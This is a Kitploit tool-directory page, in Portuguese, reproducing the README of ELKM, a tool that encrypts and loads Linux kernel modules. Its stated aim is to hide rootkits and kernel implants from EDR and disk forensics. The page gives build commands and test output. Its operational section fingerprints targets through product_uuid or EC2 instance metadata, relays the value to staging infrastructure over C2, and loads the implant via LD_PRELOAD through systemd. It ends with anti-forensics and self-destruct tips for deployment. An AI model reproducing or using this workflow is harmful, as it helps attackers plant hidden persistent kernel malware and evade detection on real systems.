Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
encrypted-linux-kernel-modules — encrypted-linux-kernel-modules | Kitploit
Ferramentas/GitHubGitHub/cenobyte-vincit/encrypted-linux-kernel-modules
Escalada de PrivilégiosFerramentas de Criptografia/DescriptografiaMecanismos de PersistênciaEvasão de IDS/IPSPós-ExploraçãoComando e ControleRed TeamingDesenvolvimento de Payloads

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
GitHub
cenobyte-vincit/encrypted-linux-kernel-modules

encrypted-linux-kernel-modules

encrypted-linux-kernel-modules

Ver Repositório
1336há 5 anosAinda não revisado

ELKM: Módulos de Kernel Carregáveis Linux x86-64 Criptografados

O ELKM fornece um mecanismo para transportar e carregar com segurança Módulos de Kernel Carregáveis (LKM) criptografados. O objetivo é proteger rootkits e implantes baseados no kernel contra observação por software de Detecção e Resposta de Endpoint (EDR) e neutralizar os efeitos da recuperação por ferramentas de forense de disco.

RHEL/CentOS 7

O ELKM foi escrito especificamente para RHEL/CentOS 7 x86-64.

root@kitploit:~
kernel-tools-libs-3.10.0-1127.18.2.el7.x86_64
kernel-devel-3.10.0-1127.18.2.el7.x86_64
kernel-tools-3.10.0-1127.18.2.el7.x86_64
kernel-headers-3.10.0-1127.18.2.el7.x86_64
kernel-3.10.0-1127.18.2.el7.x86_64

Preparar o ambiente de compilação

root@kitploit:~
sudo yum install glibc-static -y
sudo yum install kernel-devel -y
sudo yum install kernel-headers -y
sudo yum install openssl-devel -y
sudo yum install libcurl-devel -y

Testes automatizados locais

O script de teste executa 4 testes:

  • Senha fornecida via /sys/class/dmi/id/product_uuid
  • Senha fornecida via http://169.254.169.254/latest/meta-data/instance-id (quando no EC2)
  • Senha fornecida via ambiente
  • Senha fornecida via stdin
root@kitploit:~
$ make
$ sudo ./test.sh
make -C /lib/modules/3.10.0-1127.13.1.el7.x86_64/build M=/home/test/encrypted-kernel-modules clean
make[1]: Entering directory `/usr/src/kernels/3.10.0-1127.13.1.el7.x86_64'
  CLEAN   /home/test/encrypted-kernel-modules/.tmp_versions
  CLEAN   /home/test/encrypted-kernel-modules/Module.symvers
make[1]: Leaving directory `/usr/src/kernels/3.10.0-1127.13.1.el7.x86_64'
rm -f loader.so
rm -f payloadfuser
make -C /lib/modules/3.10.0-1127.13.1.el7.x86_64/build M=/home/test/encrypted-kernel-modules modules
make[1]: Entering directory `/usr/src/kernels/3.10.0-1127.13.1.el7.x86_64'
  CC [M]  /home/test/encrypted-kernel-modules/kernel-module.o
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /home/test/encrypted-kernel-modules/kernel-module.mod.o
  LD [M]  /home/test/encrypted-kernel-modules/kernel-module.ko
make[1]: Leaving directory `/usr/src/kernels/3.10.0-1127.13.1.el7.x86_64'
gcc -o loader.so loader.c -fPIC -shared -ldl -lcrypto -Wall
gcc -o payloadfuser payloadfuser.c -lcrypto -Wall
strip --strip-unneeded kernel-module.ko
strip --strip-unneeded loader.so
strip payloadfuser
--------------------------------------------------------------------------------
stage 1: fusing './kernel-module.ko' payload with './loader.so' using './payloadfuser':
main(): encrypting './kernel-module.ko' with password '07EC86F1-957C-6B4E-9134-7A6DE5ACC99C', and fusing with './loader.so'

stage 2: executing './loader.so':

module loaded: YES
unloading

--------------------------------------------------------------------------------
stage 1: fusing './kernel-module.ko' payload with './loader.so' using './payloadfuser':
main(): encrypting './kernel-module.ko' with password 'TEST-ENV-KEY', and fusing with './loader.so'

stage 2: executing './loader.so':

module loaded: YES
unloading

--------------------------------------------------------------------------------
stage 1: fusing './kernel-module.ko' payload with './loader.so' using './payloadfuser':
main(): encrypting './kernel-module.ko' with password 'TEST-STDIN-KEY', and fusing with './loader.so'

stage 2: executing './loader.so':

module loaded: YES
unloading

Compilar e criar manualmente o payload de teste

root@kitploit:~
make
./payloadfuser ./kernel-module.ko ./loader.so dummykey
FOO=dummykey LD_PRELOAD=./loader.so /usr/lib/systemd/systemd

Operacional

Vinculando o ELKM a um sistema específico

Via product_uuid

No sistema de destino:

root@kitploit:~
cat /sys/class/dmi/id/product_uuid

Nota: isso deve ser feito de forma automatizada, por exemplo, via um dropper. Envie o product_uuid para a infraestrutura de staging via C2.

Na infraestrutura de staging:

root@kitploit:~
./payloadfuser ./implant.ko ./loader.so $uuid

No sistema de destino, baixe o loader da infraestrutura de staging e execute-o por meio de um executável confiável:

root@kitploit:~
LD_PRELOAD=./loader.so /usr/lib/systemd/systemd
Via ID da instância EC2

No sistema de destino:

root@kitploit:~
curl http://169.254.169.254/latest/meta-data/instance-id

Nota: isso deve ser feito de forma automatizada, por exemplo, via um dropper. Envie o ID da instância para a infraestrutura de staging via C2.

Na infraestrutura de staging:

root@kitploit:~
./payloadfuser ./implant.ko ./loader.so $instanceid

No sistema de destino, baixe o loader da infraestrutura de staging e execute-o por meio de um executável confiável:

root@kitploit:~
LD_PRELOAD=./loader.so /usr/lib/systemd/systemd

Para definir a senha para uso com ambiente ou shell interativo

Na infraestrutura de staging:

root@kitploit:~
./payloadfuser ./implant.ko ./loader.so PASSWORD

No sistema de destino, via ambiente:

root@kitploit:~
# FOO=PASSWORD LD_PRELOAD=./loader.so /usr/lib/systemd/systemd
#

Ou via stdin:

root@kitploit:~
# LD_PRELOAD=./loader.so /usr/lib/systemd/systemd
THISISMYINTERACTIVEPASSWORD
#

Dicas

Algumas dicas se você quiser implantar o ELKM operacionalmente:

  • Não compile com 'debug'
  • Altere os nomes das funções
  • Implemente mais técnicas antiforense
  • Considere substituir o OpenSSL por outra biblioteca de criptografia
  • Implemente um modo de autodestruição quando as senhas falharem

Optamos por não implementar esses recursos para evitar fingerprinting.

Baixar ferramenta